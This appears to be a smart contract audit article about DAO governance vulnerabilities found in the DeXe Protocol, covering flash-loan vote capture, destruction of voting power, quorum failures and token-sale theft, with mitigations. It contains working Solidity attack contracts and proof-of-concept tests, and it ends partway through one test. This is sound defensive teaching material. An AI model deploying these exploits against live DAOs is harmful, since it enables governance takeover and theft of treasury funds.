Decentralized Autonomous Organizations (DAO) facilitate a new form of on-chain distributed governance where participants can propose, vote and execute proposals. DAO voting typically works through ERC20 & ERC721 tokens and proposals often involve allocation of the DAO's monetary capital.

While on-chain governance increases the transparency of how voting works and election results are calculated, it also provides a large attack surface for creative exploitation. Although DAO systems can vary greatly both in features & implementation, they can contain several common vulnerabilities which all smart contract developers & auditors should be aware of.

Using Flash-Loans To Decide Proposals

As DAO voting is typically implemented using ERC20 & ERC721 tokens the primary way to increase one's voting power is to buy more voting tokens from decentralized exchanges or the DAO's token sale proposals. When enough users vote on a proposal "quorum" is reached and the outcome of a proposal is decided. This combination of factors allows an attacker to use a flash-loan to determine the outcome of proposals by:

• borrowing a large amount of voting tokens

• voting with the borrowed tokens to immediately decide the outcome of a proposal

• withdrawing the voting tokens and repaying the flash loan

This attack is performed in one transaction via an attack contract and completely subverts the voting system by allowing an attacker to decide the outcome of proposals even if they don't have the economic energy to do so. While a devastating attack vector it is also well-known and DAOs implementing voting systems create protections to prevent this type of attack such as:

• forcing voters to "lock up" their voting tokens

• not allowing lock/unlock of voting tokens in the same block

• not allowing proposals to change from a "Voting" to a "Successful/Defeated" state in the same block

The challenge for auditors and hackers when attacking DAO Governance voting systems is to find creative ways to bypass such flash-loan protection mitigations by:

• using other components of the system in ways the developer didn't expect

• finding gaps in the smart contract's finite state machine such as unexpected/unchecked state transitions which allow transitions between states that should be prohibited

In Cyfrin's DeXe Protocol audit we were able to successfully bypass all the existing flash-loan mitigations by leveraging delegated voting which allows users to delegate their votes to other users. Our attack used 2 contracts Master & Slave:

• Master takes the flash-loan, deposits it into the DAO to receive voting power and delegates the voting power to Slave

• Slave votes on the proposal which immediately reaches quorum and becomes Locked; Slave has no voting power itself, only the delegated voting power from Master

• Even though quorum has been reached and the proposal is now Locked, Master can immediately undelegate from Slave, withdraw their tokens and repay the flash-loan; this was a major gap we identified in DeXe's state machine which we exploited

The entire attack occurs in one transaction initiated by a call to the Master smart contract attack function FlashDelegationVoteAttack::attack():

contract FlashDelegationVoteAttack {
    //
    // how the attack contract works:
    //
    // 1) use flashloan to acquire large amount of voting tokens
    //    (caller transfer tokens to contract before calling to simplify PoC)
    // 2) deposit voting tokens into GovPool
    // 3) delegate voting power to slave contract
    // 4) slave contract votes with delegated power
    // 5) proposal immediately reaches quorum and moves into Locked state
    // 6) undelegate voting power from slave contract
    //    since undelegation works while Proposal is in locked state
    // 7) withdraw voting tokens from GovPool while proposal still in Locked state
    // 8) all in 1 txn
    //

    function attack(address govPoolAddress, address tokenAddress, uint256 proposalId) external {
        // verify that the attack contract contains the voting tokens
        IERC20 votingToken = IERC20(tokenAddress);

        uint256 votingPower = votingToken.balanceOf(address(this));
        require(votingPower > 0, "AttackContract: need to send tokens first");

        // create the slave contract that this contract will delegate to which
        // will do the actual vote
        FlashDelegationVoteAttackSlave slave = new FlashDelegationVoteAttackSlave();

        // deposit our tokens with govpool
        IGovPool govPool = IGovPool(govPoolAddress);

        // approval first
        (, address userKeeperAddress, , , ) = govPool.getHelperContracts();
        votingToken.approve(userKeeperAddress, votingPower);

        // then actual deposit
        govPool.deposit(address(this), votingPower, new uint256[](0));

        // verify attack contract has no tokens
        require(
            votingToken.balanceOf(address(this)) == 0,
            "AttackContract: balance should be 0 after depositing tokens"
        );

        // delegate our voting power to the slave
        govPool.delegate(address(slave), votingPower, new uint256[](0));

        // slave does the actual vote
        slave.vote(govPool, proposalId);

        // verify proposal now in Locked state as quorum was reached
        require(
            govPool.getProposalState(proposalId) == IGovPool.ProposalState.Locked,
            "AttackContract: proposal didn't move to Locked state after vote"
        );

        // undelegate our voting power from the slave
        govPool.undelegate(address(slave), votingPower, new uint256[](0));

        // withdraw our tokens
        govPool.withdraw(address(this), votingPower, new uint256[](0));

        // verify attack contract has withdrawn all tokens used in the delegated vote
        require(
            votingToken.balanceOf(address(this)) == votingPower,
            "AttackContract: balance should be full after withdrawing"
        );

        // verify proposal still in the Locked state
        require(
            govPool.getProposalState(proposalId) == IGovPool.ProposalState.Locked,
            "AttackContract: proposal should still be in Locked state after withdrawing tokens"
        );

        // attack contract can now repay flash loan
    }
}

contract FlashDelegationVoteAttackSlave {
    function vote(IGovPool govPool, uint256 proposalId) external {
        // slave has no voting power so votes 0, this will automatically
        // use the delegated voting power
        govPool.vote(proposalId, true, 0, new uint256[](0));
    }
}

To prevent this attack developers can implement defensive measures such as:

• ensuring that undelegation is not possible when a proposal has received delegated votes & reached quorum but not yet transitioned into a final state

• preventing delegation/undelegation & deposit/withdrawal transactions in the same block from the same address

Developers should be keenly aware that any advanced functionality they add to their DAO's voting system creates additional attack surface for attackers to exploit. Auditors should closely examine the voting system's advanced functionality to see if it can be leveraged to bypass flash-loan mitigations and execute this devastating attack. More examples: [1, 2, 3, 4]

Attacker Destroys User Voting Power

As voting power in DAOs is typically implemented via ERC20 & ERC721 tokens, any attack that steals or burns user tokens can destroy voting power. However such vulnerabilities are typically not present in most production-grade systems as they are usually easily identified during private audits and smart contract audit contests.

However, more subtle vulnerabilities can exist within voting power calculation algorithms, especially in advanced voting systems where the voting power of tokens can dynamically change over time. In Cyfrin's DeXe Protocol audit we observed that the ERC721Power contract contained a slight discrepancy which an attacker could weaponize against the voting power calculation algorithm to destroy the voting power of all individual nfts and the total voting power of the contract, setting them all to 0.

ERC721Power has a "setup" phase where nfts are created & configured but the actual voting power calculation doesn't start until a given powerCalcStartTimestamp. There is a slight discrepancy in how this check is implemented between two key functions [1, 2]:

function getNftPower(uint256 tokenId) public view override returns (uint256) {
    // @audit execution always returns 0 when
    // block.timestamp == powerCalcStartTimestamp
    if (block.timestamp <= powerCalcStartTimestamp) {
        return 0;

function recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {
    // @audit execution allowed to continue when
    // block.timestamp == powerCalcStartTimestamp
    if (block.timestamp < powerCalcStartTimestamp) {
        return 0;
    }
    // @audit getNftPower() returns 0 when 
    // block.timestamp == powerCalcStartTimestamp
    newPower = getNftPower(tokenId);

    NftInfo storage nftInfo = nftInfos[tokenId];

    // @audit as this is the first update since power
    // calculation has just started, totalPower will be 
    // subtracted by nft's max power
    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);
    // @audit totalPower += 0 (newPower = 0 in above line)
    totalPower += newPower;

    nftInfo.lastUpdate = uint64(block.timestamp);
    // @audit will set nft's current power to 0
    nftInfo.currentPower = newPower;
}

We can exploit this discrepancy via a creative permission-less attack contract to completely brick the voting power of all nft holders:

contract ERC721PowerAttack {
    // this attack can decrease ERC721Power::totalPower by the the true max power of all
    // the power nfts that exist (to zero), regardless of who owns them, and sets the current
    // power of all nfts to zero, totally bricking the ERC721Power contract.
    //
    // this attack only works when block.timestamp == nftPower.powerCalcStartTimestamp
    // as it takes advantage of a difference in getNftPower() & recalculateNftPower():
    //
    // getNftPower() returns 0 when block.timestamp <= powerCalcStartTimestamp
    // recalculateNftPower returns 0 when block.timestamp < powerCalcStartTimestamp
    function attack(
        address nftPowerAddr,
        uint256 initialTotalPower,
        uint256 lastTokenId
    ) external {
        ERC721Power nftPower = ERC721Power(nftPowerAddr);

        // verify attack starts on the correct block
        require(
            block.timestamp == nftPower.powerCalcStartTimestamp(),
            "ERC721PowerAttack: attack requires block.timestamp == nftPower.powerCalcStartTimestamp"
        );

        // verify totalPower() correct at starting block
        require(
            nftPower.totalPower() == initialTotalPower,
            "ERC721PowerAttack: incorrect initial totalPower"
        );

        // call recalculateNftPower() for every nft, this:
        // 1) decreases ERC721Power::totalPower by that nft's max power
        // 2) sets that nft's currentPower = 0
        for (uint256 i = 1; i <= lastTokenId; ) {
            require(
                nftPower.recalculateNftPower(i) == 0,
                "ERC721PowerAttack: recalculateNftPower() should return 0 for new nft power"
            );

            unchecked {
                ++i;
            }
        }

        require(
            nftPower.totalPower() == 0,
            "ERC721PowerAttack: after attack finished totalPower should equal 0"
        );
    }
}

Smart contract auditors should carefully examine voting power calculation algorithms to see if it is possible to creatively exploit them to destroy user voting power. More examples: [1]

Amplify Individual Voting Power By Reducing Total Voting Power

The voting power of any single individual is typically divided by the total voting power; if an attacker can artificially reduce the total voting power they can artificially increase the individual voting power, making it easier for any single individual or a small collective to reach quorum and decide the outcome of any proposal.

Theoretically, the total voting power is equal to the sum of all individual voting powers, but for scalability and gas efficiency the total voting power is usually never calculated this way but instead stored in a separate storage slot and incrementally updated as individual voting powers change. This introduces the possibility that through a creative attack vector an attacker could modify the total voting power storage slot without modifying the individual voting powers.

In Cyfrin's DeXe Protocol audit we observed that we could call the ERC721Power::recalculateNftPower() & getNftPower() functions with a non-existent tokenId and this would surprisingly not revert nor return 0, but that getNftPower() would return values > 0 for a non-existent tokenId:

function getNftPower(uint256 tokenId) public view override returns (uint256) {
    if (block.timestamp <= powerCalcStartTimestamp) {
        return 0;
    }

    // @audit 0 for non-existent tokenId
    uint256 collateral = nftInfos[tokenId].currentCollateral;

    // Calculate the minimum possible power based on the collateral of the nft
    // @audit returns default maxPower for non-existent tokenId
    uint256 maxNftPower = getMaxPowerForNft(tokenId);
    uint256 minNftPower = maxNftPower.ratio(collateral, getRequiredCollateralForNft(tokenId));
    minNftPower = maxNftPower.min(minNftPower);

    // Get last update and current power. Or set them to default if it is first iteration
    // @audit both 0 for non-existent tokenId
    uint64 lastUpdate = nftInfos[tokenId].lastUpdate;
    uint256 currentPower = nftInfos[tokenId].currentPower;

    if (lastUpdate == 0) {
        lastUpdate = powerCalcStartTimestamp;
        // @audit currentPower set to maxNftPower which
        // is just the default maxPower even for non-existent tokenId!
        currentPower = maxNftPower;
    }

    // Calculate reduction amount
    uint256 powerReductionPercent = reductionPercent * (block.timestamp - lastUpdate);
    uint256 powerReduction = currentPower.min(maxNftPower.percentage(powerReductionPercent));
    uint256 newPotentialPower = currentPower - powerReduction;

    // @audit returns newPotentialPower slightly reduced
    // from maxPower for non-existent tokenId
    if (minNftPower <= newPotentialPower) {
        return newPotentialPower;
    }

    if (minNftPower <= currentPower) {
        return minNftPower;
    }

    return currentPower;
}

When this occurs the subsequent behavior of recalculateNftPower() results in a net decrease of totalPower:

function recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {
    if (block.timestamp < powerCalcStartTimestamp) {
        return 0;
    }

    // @audit newPower > 0 for non-existent tokenId
    newPower = getNftPower(tokenId);

    NftInfo storage nftInfo = nftInfos[tokenId];

    // @audit as this is the first update since
    // tokenId doesn't exist, totalPower will be 
    // subtracted by nft's max power
    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);
    // @audit then totalPower is increased by newPower where:
    // 0 < newPower < maxPower hence net decrease to totalPower
    totalPower += newPower;

    nftInfo.lastUpdate = uint64(block.timestamp);
    nftInfo.currentPower = newPower;
}

We can exploit this behavior via a creative permission-less attack contract to dramatically lower the total voting power while preserving individual user voting power, significantly artificially enhancing individual voting power:

contract ERC721PowerAttack {
    // this attack can decrease ERC721Power::totalPower close to 0
    //
    // this attack works when block.timestamp > nftPower.powerCalcStartTimestamp
    // by taking advantage calling recalculateNftPower for non-existent nfts
    function attack2(
        address nftPowerAddr,
        uint256 initialTotalPower,
        uint256 lastTokenId,
        uint256 attackIterations
    ) external {
        ERC721Power nftPower = ERC721Power(nftPowerAddr);

        // verify attack starts on the correct block
        require(
            block.timestamp > nftPower.powerCalcStartTimestamp(),
            "ERC721PowerAttack: attack2 requires block.timestamp > nftPower.powerCalcStartTimestamp"
        );

        // verify totalPower() correct at starting block
        require(
            nftPower.totalPower() == initialTotalPower,
            "ERC721PowerAttack: incorrect initial totalPower"
        );

        // output totalPower before attack
        console.log(nftPower.totalPower());

        // keep calling recalculateNftPower() for non-existent nfts
        // this lowers ERC721Power::totalPower() every time
        // can't get it to 0 due to underflow but can get close enough
        for (uint256 i; i < attackIterations; ) {
            nftPower.recalculateNftPower(++lastTokenId);
            unchecked {
                ++i;
            }
        }

        // output totalPower after attack
        console.log(nftPower.totalPower());

        // original totalPower : 10000000000000000000000000000
        // current  totalPower : 900000000000000000000000000
        require(
            nftPower.totalPower() == 900000000000000000000000000,
            "ERC721PowerAttack: after attack finished totalPower should equal 900000000000000000000000000"
        );
    }
}

Smart contract auditors should carefully examine voting power calculation algorithms to see if it is possible to creatively exploit them to lower the total voting power while preserving individual user voting power, significantly artificially enhancing individual voting power. More examples: [1]

Proposal Creation Snapshots Incorrect Total Voting Power

Some DAO voting protocols take snapshots of user voting power when the proposal was created such that users can only vote with the tokens they possessed at that time; acquiring more tokens or attempting to use a flash-loan would have no effect.

A common error that occurs in these systems is that the total voting power is not correctly saved in the snapshot. This can either artificially amplify or reduce user voting power depending on whether the incorrect value is smaller or larger than the actual value.

Auditors & attackers should be on alert for voting systems where the power of a vote can change dynamically; where one token can represent more than one vote and this value can be increased or decreased. Depending on the order of operations, such systems can easily enter an invariant-breaking state when the snapshot is taken causing the snapshotted total voting power to not match the sum of the individual voting powers.

In Cyfrin's DeXe Protocol smart contract audit we noticed that:

• the ERC721Power nft voting contract had dynamically changing voting power for individual nfts; voting power would decrease over time unless users had deposited the required collateral for their nfts

• in the unit tests for this contract a function called updateNftPowers() was being called before snapshot creation but in the actual protocol code this function was never called, nor would this function be scalable in a real-world system with thousands of voting nfts

• in the protocol code when the proposal was created the snapshot was reading ERC721Power::totalPower directly from storage without ensuring that this value was current:

function createNftPowerSnapshot() external override onlyOwner returns (uint256) {
    IERC721Power nftContract = IERC721Power(nftAddress);
    if (address(nftContract) == address(0)) {return 0;}

    uint256 currentPowerSnapshotId = ++_latestPowerSnapshotId;
    uint256 power;

    if (_nftInfo.isSupportPower) {
        // @audit reading total power directly from storage without ensuring
        // that individual nft power has been recalculated results in proposals
        // being created with outdated total voting power when using ERC721Power nfts
        power = nftContract.totalPower();
    } else if (_nftInfo.totalSupply == 0) {power = nftContract.totalSupply();
    } else {power = _nftInfo.totalSupply;}

    nftSnapshot[currentPowerSnapshotId] = power;

    return currentPowerSnapshotId;
}

The snapshotted value is later used in the divisor when calculating the voting power of individual nfts; a stale larger divisor will incorrectly reduce the voting power of individual nfts while a stale smaller divisor will incorrectly amplify the voting power of individual nfts.

Auditors should verify whether the sum of total voting power matches the individual user voting powers at snapshot creation, paying special attention to how dynamically calculated voting power changes over time and the sequence of operations that occur when snapshots of voting power are taken. More examples: [1, 2]

Impossible To Reach Quorum

As DAOs rely on passing proposals to facilitate DAO activities including the allocation of the DAO's monetary capital, it should never be possible for the DAO to enter a state where it is permanently impossible to reach quorum. For simpler DAOs using ERC20 tokens with fixed voting power (eg 1 token = 1 vote) this state is likely impossible to reach, but it may manifest in advanced DAOs that enable voting via both ERC20 & ERC721 tokens and feature dynamic voting power calculation.

In Cyfrin's DeXe Protocol audit voting is supported using both ERC20 & ERC721 tokens at the same time; the ERC721 contract at initialization is allocated a fixed totalPowerInTokens amount which is then added to the ERC20 totalSupply and used in the denominator when determining if quorum is reached:

// @audit used in denominator of _quorumReached()
// returns ERC20::totalSupply() plus the fixed amount
// totalPowerInTokens allocated to the nft voting contract
function getTotalVoteWeight() external view override returns (uint256) {
    address token = tokenAddress;

    return
        (token != address(0) ? IERC20(token).totalSupply().to18(token.decimals()) : 0) +
        _nftInfo.totalPowerInTokens;
}

function _quorumReached(IGovPool.ProposalCore storage core) internal view returns (bool) {
    (, address userKeeperAddress, , , ) = IGovPool(address(this)).getHelperContracts();

    return
        PERCENTAGE_100.ratio(
            core.votesFor + core.votesAgainst,
        // @audit denominator of quorum calculation is
        // ERC20::totalSupply() + totalPowerInTokens
            IGovUserKeeper(userKeeperAddress).getTotalVoteWeight()
        ) >= core.settings.quorum;
}

The idea is that the nft contract collectively controls a fixed amount of ERC20 tokens such that when the nft holders vote, they are influencing the voting allocation of this fixed amount of ERC20 tokens.

However ERC721Power nfts can lose voting power over time if the users who own them have not deposited the required collateral. If all the nfts lose all of their power this results in a state where ERC721Power::totalPower() == 0 but totalPowerInTokens > 0 as it is static and never updated.

The consequence of reaching this state is that when calculating whether quorum has been reached, the voting power of the ERC20 tokens will be incorrectly diluted by totalPowerInTokens even though the nft contract has lost all of its voting power. This can result in a state where quorum is impossible to reach which we have proved by simulating this scenario in our PoC:

it("audit static GovUserKeeper::_nftInfo.totalPowerInTokens in quorum denominator can incorrectly make it impossible to reach quorum", async () => {
    // time when nft power calculation starts
    let powerNftCalcStartTime = (await getCurrentBlockTime()) + 200;

    // required so we can call .toFixed() on BN returned outputs
    ERC721Power.numberFormat = "BigNumber";

    // ERC721Power.totalPower should be zero as no nfts yet created
    assert.equal((await nftPower.totalPower()).toFixed(), "0");

    // so proposal doesn't need to go to validators
    await changeInternalSettings(false);

    // set nftPower as the voting nft
    // need to comment out check preventing updating existing
    // nft address in GovUserKeeper::setERC721Address()
    await impersonate(govPool.address);
    await userKeeper.setERC721Address(nftPower.address, wei("190000000000000000000"), 1, { from: govPool.address });

    // create a new VOTER account and mint them the only power nft
    let VOTER = await accounts(10);
    await nftPower.safeMint(VOTER, 1);

    // switch to using a new ERC20 token for voting; lets us
    // control exactly who has what voting power without worrying about
    // what previous setups have done
    // requires commenting out require statement in GovUserKeeper::setERC20Address()
    let newVotingToken = await ERC20Mock.new("NEWV", "NEWV", 18);
    await impersonate(govPool.address);
    await userKeeper.setERC20Address(newVotingToken.address, { from: govPool.address });

    // mint VOTER some tokens that when combined with their NFT are enough
    // to reach quorum
    let voterTokens = wei("190000000000000000000");
    await newVotingToken.mint(VOTER, voterTokens);
    await newVotingToken.approve(userKeeper.address, voterTokens, { from: VOTER });
    await nftPower.approve(userKeeper.address, "1", { from: VOTER });

    // VOTER deposits their tokens & nft to have voting power
    await govPool.deposit(VOTER, voterTokens, [1], { from: VOTER });

    // advance to the approximate time when nft power calculation starts
    await setTime(powerNftCalcStartTime);

    // verify nft power after power calculation has started
    let nftTotalPowerBefore = "900000000000000000000000000";
    assert.equal((await nftPower.totalPower()).toFixed(), nftTotalPowerBefore);

    // create a proposal which takes a snapshot of the current nft power
    let proposal1Id = 2;

    await govPool.createProposal(
      "example.com",
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], true)]],
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], false)]]
    );

    // vote on first proposal
    await govPool.vote(proposal1Id, true, voterTokens, [1], { from: VOTER });

    // advance time to allow proposal state change
    await setTime((await getCurrentBlockTime()) + 10);

    // verify that proposal has reached quorum;
    // VOTER's tokens & nft was enough to reach quorum
    assert.equal(await govPool.getProposalState(proposal1Id), ProposalState.SucceededFor);

    // advance time; since VOTER's nft doesn't have collateral deposited
    // its power will decrement to zero
    await setTime((await getCurrentBlockTime()) + 10000);

    // call ERC721::recalculateNftPower() for the nft, this will update
    // ERC721Power.totalPower with the actual current total power
    await nftPower.recalculateNftPower("1");

    // verify that the true totalPower has decremented to zero as the nft
    // lost all its power since it didn't have collateral deposited
    assert.equal((await nftPower.totalPower()).toFixed(), "0");

    // create 2nd proposal which takes a snapshot of the current nft power
    let proposal2Id = 3;

    await govPool.createProposal(
      "example.com",
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], true)]],
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], false)]]
    );

    // vote on second proposal
    await govPool.vote(proposal2Id, true, voterTokens, [1], { from: VOTER });

    // advance time to allow proposal state change
    await setTime((await getCurrentBlockTime()) + 10);

    // verify that proposal has not reached quorum;
    // even though VOTER owns 100% of the supply of the ERC20 voting token,
    // it is now impossible to reach quorum since the power of VOTER's
    // ERC20 tokens is being incorrectly diluted through the quorum calculation
    // denominator assuming the nfts still have voting power.
    //
    // this is incorrect as the nft has lost all power. The root cause
    // is GovUserKeeper::_nftInfo.totalPowerInTokens which is static
    // but used in the denominator when calculating whether
    // quorum is reached
    assert.equal(await govPool.getProposalState(proposal2Id), ProposalState.Voting);
});

Smart contract auditors & developers should ensure that the DAO can't enter a state where it is permanently impossible to reach quorum. Auditors should pay special attention to which elements are used in the denominator of the quorum calculation which represents the total voting power, especially if this is composed of multiple token types and features dynamically changing non-linear voting power. More examples: [1]

Using Delegated Treasury Voting Power To Get More Delegated Treasury Voting Power

Advanced DAOs allow proposals that designate users as experts who receive delegated voting power directly from the DAO's treasury; this treasury delegated power should not be transferable by expert users who have received it, nor should expert users be able to further delegate it to other users.

Expert users should additionally be prohibited from using this delegated treasury voting power to vote on proposals that give themselves even more delegated treasury voting power, or on proposals that remove it. These prohibitions ensure that experts wield their delegated treasury power purely at the good pleasure of the DAO collective, who remain the sovereign custodians of the DAO's treasury and its voting power. More examples: [1]

Bypass Voting Restriction Via Delegation

In Cyfrin's DeXe Protocol audit we found that DeXe contained a feature that allowed the proposal creator to prohibit certain users from voting on a proposal. However this was trivial to bypass via the delegation mechanism by delegating voting power to a slave address the prohibited user controls and having the slave address vote with the full power of the prohibited user's delegated votes:

it("audit bypass user restriction on voting via delegation", async () => {
    let votingPower = wei("100000000000000000000");
    let proposalId  = 1;

    // create a proposal where SECOND is restricted from voting
    await govPool.createProposal(
      "example.com",
      [[govPool.address, 0, getBytesUndelegateTreasury(SECOND, 1, [])]],
      []
    );

    // if SECOND tries to vote directly this fails
    await truffleAssert.reverts(
      govPool.vote(proposalId, true, votingPower, [], { from: SECOND }),
      "Gov: user restricted from voting in this proposal"
    );

    // SECOND has another address SLAVE which they control
    let SLAVE = await accounts(10);

    // SECOND delegates their voting power to SLAVE
    await govPool.delegate(SLAVE, votingPower, [], { from: SECOND });

    // SLAVE votes on the proposal; votes "0" as SLAVE has no
    // personal voting power, only the delegated power from SECOND
    await govPool.vote(proposalId, true, "0", [], { from: SLAVE });

    // verify SLAVE's voting
    assert.equal(
      (await govPool.getUserVotes(proposalId, SLAVE, VoteType.PersonalVote)).totalRawVoted,
      "0" // personal votes remain the same
    );
    assert.equal(
      (await govPool.getUserVotes(proposalId, SLAVE, VoteType.MicropoolVote)).totalRawVoted,
      votingPower // delegated votes from SECOND now included
    );
    assert.equal(
      (await govPool.getTotalVotes(proposalId, SLAVE, VoteType.PersonalVote))[0].toFixed(),
      votingPower // delegated votes from SECOND now included
    );

    // SECOND was able to abuse delegation to vote on a proposal they were
    // restricted from voting on.
});

Smart contract auditors & DAO governance protocol developers should be conscious that any user can control an infinite number of addresses and that advanced features such as delegation can be used to bypass restrictions and prohibitions that some users may be under.

Voting With Same Tokens Multiple Times

If a user can vote with the same ERC20 or ERC721 tokens multiple times then even users with small voting power can decide the outcome of any proposal. A simple check DAOs can implement to counteract this is to allow users to only vote once per proposal and require them to cancel their existing vote to vote again on the same proposal. This can be bypassed by users voting then transferring their tokens to another address they control, voting again from that address and repeating this process until quorum is reached. I actually reported this exact issue in a live smart contract:

function voteOnProposal(uint256 _proposalId, bool _pass) external nonReentrant {
    // @audit contracts prevented from voting stops flash loan exploits
    require(msg.sender == tx.origin, "contracts cannot vote");
    require(activeProposals.contains(_proposalId), "invalid proposal");

    // @audit enforces minimum token holding required to vote
    require(checkVoteEligible(msg.sender), "Ineligible");

    Proposal storage proposal = proposals[_proposalId];
    ProposalVoters storage proposalVoter = proposalVoters[_proposalId];

    // @audit prevents same address from voting multiple times
    require(!proposalVoter.voters.contains(msg.sender), "already voted");
    proposalVoter.voters.add(msg.sender);

    // @audit no token locking or snapshot mechanism. Same address
    // can have infinite voting power using the same tokens by transferring
    // their tokens to other addresses they control and voting with
    // those addresses. Since users can control an infinite number of
    // addresses, any user can continually recycle the same tokens to
    // have infinite voting power and decide any proposal 
    if(_pass){
        proposal.voteFor += TOKEN.balanceOf(msg.sender);
        proposalVoter.voteToPass[msg.sender] = true;
    } else {
        proposal.voteAgainst += TOKEN.balanceOf(msg.sender);
        proposalVoter.voteToPass[msg.sender] = false;
    }
    emit Voted(msg.sender, _proposalId, _pass);
}

To counteract token transfers some DAOs implement snapshots of voting power such that users can only vote with the tokens they owned at the time the proposal was created. Other DAOs that don't want to implement this constraint typically implement a locking mechanism where once a user votes with their tokens, those tokens will be locked such that they can't be transferred to another user until the proposal outcome has been decided.

Even when locking mechanisms are implemented for voting the same vulnerability can exist for similar actions such as vetoing; it may be possible to veto a proposal multiple times using the same tokens simply because the developer has not thought to implement the same locking mechanism that they implemented for voting.

If voting delegation is implemented, users may also be able to double their voting power via self-delegation. Self-delegation of voting power is something that should almost always be prohibited as it makes little sense and is ripe for exploitation. More examples: [1, 2, 3, 4, 5, 6, 7, 8]

Voting Tokens Forever Locked In Proposals Without Deadlines

To prevent voting multiple times on the same proposal with the same tokens some method of token locking is usually implemented such that users who have voted on an active proposal are unable to withdraw or transfer those tokens until that proposal has been decided. If proposals don't have expiration deadlines they can remain active forever since quorum may never be reached; this results in a state where voter's tokens will be permanently locked by never-ending proposals.

DAO voting systems should implement proposal deadlines such that if quorum is not reached by a certain future timestamp, the proposal expires by moving to a Defeated end state allowing voters to unlock their voting tokens. More examples: [1]

Anyone Can Pass Proposals Before DAO Mints Voting Tokens

DAO voting tokens can be initially distributed in any number of ways; when a DAO has been created it may not necessarily have the voting tokens created at the same time. Because there can exist a period during which no voting tokens exist, special care must be taken when implementing checks on proposal creation, quorum and execution to ensure attackers can't manipulate the DAO during this time.

Examine these three checks for proposal creation, quorum & execution:

// @audit proposal creation check
function submitProposal(
    Instruction[] calldata instructions_,
    bytes32 title_,
    string memory proposalURI_
) external {
    // @audit before voting tokens are minted:
    // 0 * 10000 < 0
    // 0 < 0 => false
    // fails to revert allowing proposal creation
    // when no voting tokens have been minted
    if (VOTES.balanceOf(msg.sender) * 10000 < VOTES.totalSupply() * SUBMISSION_REQUIREMENT)
        revert NotEnoughVotesToPropose();

// @audit proposal quorum check
function activateProposal(uint256 proposalId_) external {
    // @audit before voting tokens are minted:
    // 0 * 100 < 0 * ENDORSEMENT_THRESHOLD
    // 0 < 0 => false
    // fails to revert allowing quorum to be reached
    // when no voting tokens have been minted
    if ((totalEndorsementsForProposal[proposalId_] * 100) <
        VOTES.totalSupply() * ENDORSEMENT_THRESHOLD
    ) {
        revert NotEnoughEndorsementsToActivateProposal();
    }

// @audit proposal execution check
function executeProposal() external {
    // @audit netVotes = 0 - 0 = 0 before voting tokens minted
    uint256 netVotes = yesVotesForProposal[activeProposal.proposalId] -
        noVotesForProposal[activeProposal.proposalId];

    // @audit before voting tokens minted:
    // 0 * 100 < 0 * EXECUTION_THRESHOLD
    // 0 < 0 => false
    // fails to revert allowing proposal execution
    // when no voting tokens have been minted
    if (netVotes * 100 < VOTES.totalSupply() * EXECUTION_THRESHOLD) {
        revert NotEnoughVotesToExecute();
    }

These checks fail to account for the state before the minting of voting tokens. This means that before voting tokens have been minted anyone can create, pass & execute any proposal potentially being able to drain the DAO of any initial funds having been deposited or manipulate DAO settings.

DAO protocol developers & smart contract auditors should ensure that the voting systems function correctly at edge cases such as before the minting of voting tokens.

Attacker Can Steal Tokens From Token Sale Proposal

DAOs can implement token sale proposals as a way to distribute DAO tokens to users, defining a set of purchase tokens with exchange rates that users are permitted to swap for the DAO token being sold. When implementing these token sale proposals special care must be taken as the purchase tokens and the sale token can have different decimal precisions.

In Cyfrin's DeXe Protocol audit we noticed that DeXe had made an interesting design decision: for most functions the responsibility was on users to call those functions with amounts formatted in 18 decimal precision, even if the underlying token did not have 18 decimal precision. Consider the code used when users pay to purchase the DAO token with a user-supplied ERC20 payment token:

// @audit when called for users buying the DAO token in sale proposal:
// token  = token that user is paying with
// to     = DAO gov adress
// amount = user input amount which DeXe is expecting to already be
//          formatted in 18 decimals
function _sendFunds(address token, address to, uint256 amount) internal {
    // @audit if payment token has less than 18 decimals (eg USDC),
    // attacker can send amount in 6 decimals which will result in
    // this attempted conversion returning 0. Hence the call will be:
    // safeTransferFrom(attacker, daoGovAddress, 0)
    // meaning attacker "buys" DAO tokens for free!
    IERC20(token).safeTransferFrom(msg.sender, to, amount.from18(token.decimals()));
}

This code assumes that the supplied amount is in 18 decimal precision and attempts to convert it into the native precision of the token the user is paying with; the from18() function will happily return 0 if that is the result of the conversion.

A clever attacker can take advantage of this by sending an input amount that when this conversion occurs will cause from18() to return 0 such that the transfer will attempt and succeed at transferring 0 tokens, allowing the attacker to "purchase" the DAO tokens being sold for free. Consider our PoC scenario where the DAO token being sold has 18 decimal places, the purchasing token has 6 decimal places and a 1:1 exchange rate is being used:

it("audit buy implicitly assumes that buy token has 18 decimals resulting in loss to DAO", async () => {
    await purchaseToken3.approve(tsp.address, wei(1000));

    // tier9 has the following parameters:
    // totalTokenProvided   : wei(1000)
    // minAllocationPerUser : 0 (no min)
    // maxAllocationPerUser : 0 (no max)
    // exchangeRate         : 1 sale token for every 1 purchaseToken
    //
    // purchaseToken3 has 6 decimal places
    //
    // mint purchase tokens to owner 1000 in 6 decimal places
    //                        1000 000000
    let buyerInitTokens6Dec = 1000000000;

    await purchaseToken3.mint(OWNER, buyerInitTokens6Dec);
    await purchaseToken3.approve(tsp.address, buyerInitTokens6Dec, { from: OWNER });

    //
    // start: buyer has bought no tokens
    let TIER9 = 9;
    let purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, wei(0));

    // buyer attempts to purchase using 100 purchaseToken3 tokens
    // purchaseToken3 has 6 decimals but all inputs to Dexe should be in
    // 18 decimals, so buyer formats input amount to 18 decimals
    // doing this first to verify it works correctly
    let buyInput18Dec = wei("100");
    await tsp.buy(TIER9, purchaseToken3.address, buyInput18Dec);

    // buyer has bought wei(100) sale tokens
    purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, buyInput18Dec);

    // buyer has 900 000000 remaining purchaseToken3 tokens
